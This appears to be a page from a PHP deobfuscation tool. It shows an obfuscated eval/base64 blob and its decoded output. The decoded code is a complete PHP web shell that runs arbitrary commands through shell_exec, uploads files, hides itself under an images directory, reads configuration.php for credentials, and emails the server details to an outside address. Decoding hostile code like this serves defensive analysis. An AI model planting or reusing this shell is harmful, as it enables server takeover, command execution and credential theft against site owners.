Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(str_rot13(base64_decode('rUl6QttVEP58VfyHci+SHRV5baeTKsCoHDEl0pFjZLgv..

Decoded Output download

error_reporting(0);
if (!isset($_SESSION['bajak']))	{
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "ada yang inject 
$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("[email protected]", "$body","Hasil Bajakan http://$web$inj
$security
IP Server = $serper
 IP Injector= $injektor");
$_SESSION['bajak'] = 0;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/images/stories/food/footer.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF";}
else {$security= "SAFE_MODE : ON";}
echo "<title>IAM - DNSNET</title><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\')){
if($u!=strlen($cwd)-1){
return $cwd.'\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." :P "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
}
elseif(isset($_GET['rf'])){
$rf = file_get_contents("../../configuration.php");
echo $rf;
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
}

Did this file decode correctly?

Original Code

<?php eval(gzinflate(str_rot13(base64_decode('rUl6QttVEP58VfyHci+SHRV5baeTKsCoHDEl0pFjZLgvgKyNvVa22F54ag3NIf77zaztvBTK0aoRIva8PvPM7Hm4RUXFipdFGUTM3P3u4faWmBJqVHXNjduJozCK+sPBtTNun9mdZtvt/vK4vdW5F02YUUmFIQHZB6fOA5/AIzqM/glU1/R8PL6Mz4fRmN6iTRSfN9Sj8O+rMBrHSqN+ejCR6QIsKFgZTLBvU8CDJ4bcFBga/Smadjbl+X7KwfSjKFE8A5QOCuNcptxM4l8aaclwVPOkRcIsIHxnZRbGF8NeCAGGdHT08HZ7i3Sav281ACObmquSqwAyzqU2k1LBZe4uK2Xq7/ik1xsBWlrN/M5VBU6+5TQKL4bjY80pdCJmdrKYY+XJu+rjDAVeIma6WKglie7SZqZSU/7EjrCCzI0pD3y/pQkIeCu5KfqXJOLqniOGpoCbgoC0YtmVCsQtWXdOP+tr0+AVQs8s3r2zBImp20HNp2N87SSZLDhBDA6MlpVX+PoIONHpqH85js/6f4WDk4vQsXCQZXoECUlJveHp1VI4GMej4WPs3G3UFzmbZO14gCzgeypyiv8MMEnOWJwSxXia66S7pI7arav4iSNn8KYROqhUCIySuST0yAiT8eP+yQXZI71ONAjHVH4tO5qocMTfGEElHC8t/uXBYiSRGTTr1w/2A4bH1Ftz8+iRP0w6akAYStDrgLrUg+JvEAAjxgrdrlS7Ys1kBQ4AvxJ2YCPlC2uECMsUHiWzlWX2tWUd1pvybtsgIcVTxpV6b2ozzLQqEiNxTsoHVVNjtJKHtD5uCYrqTuxHgTZXlUW7qN9ofMfOoUjtoC7jhUho996jT2RGqYKgxAPjtqePeGU75I38pRQ3N9+TA6y/naRWhJQ5QJnKVo4LBJi+xI1XmOUgoPT4aE9Ccp6zInoJPBJSTBlvFiUPqOFfDCXIZECTPKWb2qia5G+lr+NDZc+yyr7fgb2PyI6dw1qkHBpxUORIc1HJlLFpeykzrFLeloPV/EIJSnImTFfOUcZ6GT5NP6tzLtKUFw1NXXDfMJiCf6PG2cRK2uT8Q1R7FcWAP0vvA7IOby0+skx7v/+jyUbwB3ygJMmY1oFuGw41yFNUJ3PJel3wBr14mxUZu2l352m3SdYjFbjky9UZ2OlLHK1CAwecHq3C7m9cvtG100Xi3IKdNbJmmMt7HtfRbBqjgfuii8nLuGmDXbtR49k0DZifEgqrrfdVOxVjOfIU98ITqUow2dBUSJJjrYkBkfdoOEteB5eEHpIne9qekdwMfcsynBFYTKPMRntuNXitR3x9gn5iJ3XffmBM6znPsph/4YmLkexJq4fIVF+6sU02r9F8BU42GEmKH4UgvwuDmrYQ1BQAYLNve7OAN9wsGi4az4c/a5+KTKUYHmV7G2pbgOC5/iuC/AB3J9NxL3DOi8D/Aw==')))); ?> 

Function Calls

gzinflate 1
str_rot13 1
base64_decode 1

Variables

None

Stats

MD5 28fda06dbeab4c5348d06254dc6cd0c4
Eval Count 1
Decode Time 81 ms